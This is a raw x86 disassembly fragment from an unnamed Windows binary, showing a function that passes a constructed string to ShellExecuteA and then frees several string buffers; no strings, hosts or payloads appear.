jne 0x41f117
sub ecx, edx
lea eax, [ebp - 0x2e]
push ecx
push eax
lea ecx, [ebp - 0x90]
call fcn.00402b80
cmp dword [ebp - 0x7c], 0x10
lea eax, [ebp - 0x90]
push 1
cmovae eax, dword [ebp - 0x90]
push 0
push 0
push esi
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x7c]
cmp ecx, 0x10
jb 0x41f188
mov edx, dword [ebp - 0x90]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f17e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f36b
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x94]
cmp ecx, 0x10
jb 0x41f1c2
mov edx, dword [ebp - 0xa8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f1b8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f370
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0xe8]
cmp ecx, 0x10
jb 0x41f1fc
mov edx, dword [ebp - 0xfc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f1f2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f375
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x1c8]
cmp ecx, 0x10
jb 0x41f236
mov edx, dword [ebp - 0x1dc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f22c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x1cc], 0
mov dword [ebp - 0x1c8], 0xf
mov byte [ebp - 0x1dc], 0
cmp eax, 0x10
jb 0x41f28d
mov edx, dword [ebp - 0x164]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x41f283
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x2c4]
cmp ecx, 0x10
jb 0x41f2c7
mov edx, dword [ebp - 0x2d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f2bd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0x1e0]
cmp ecx, 0x10
jb 0x41f301
mov edx, dword [ebp - 0x1f4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41f2f7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41f37a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004023f0
call fcn.004023f0
call fcn.004023f0
call fcn.00500390
push eax
call fcn.004fa09b
call fcn.004023f0
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
push eax
call fcn.004fa09b
call fcn.00500390
call fcn.004023f0
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
int3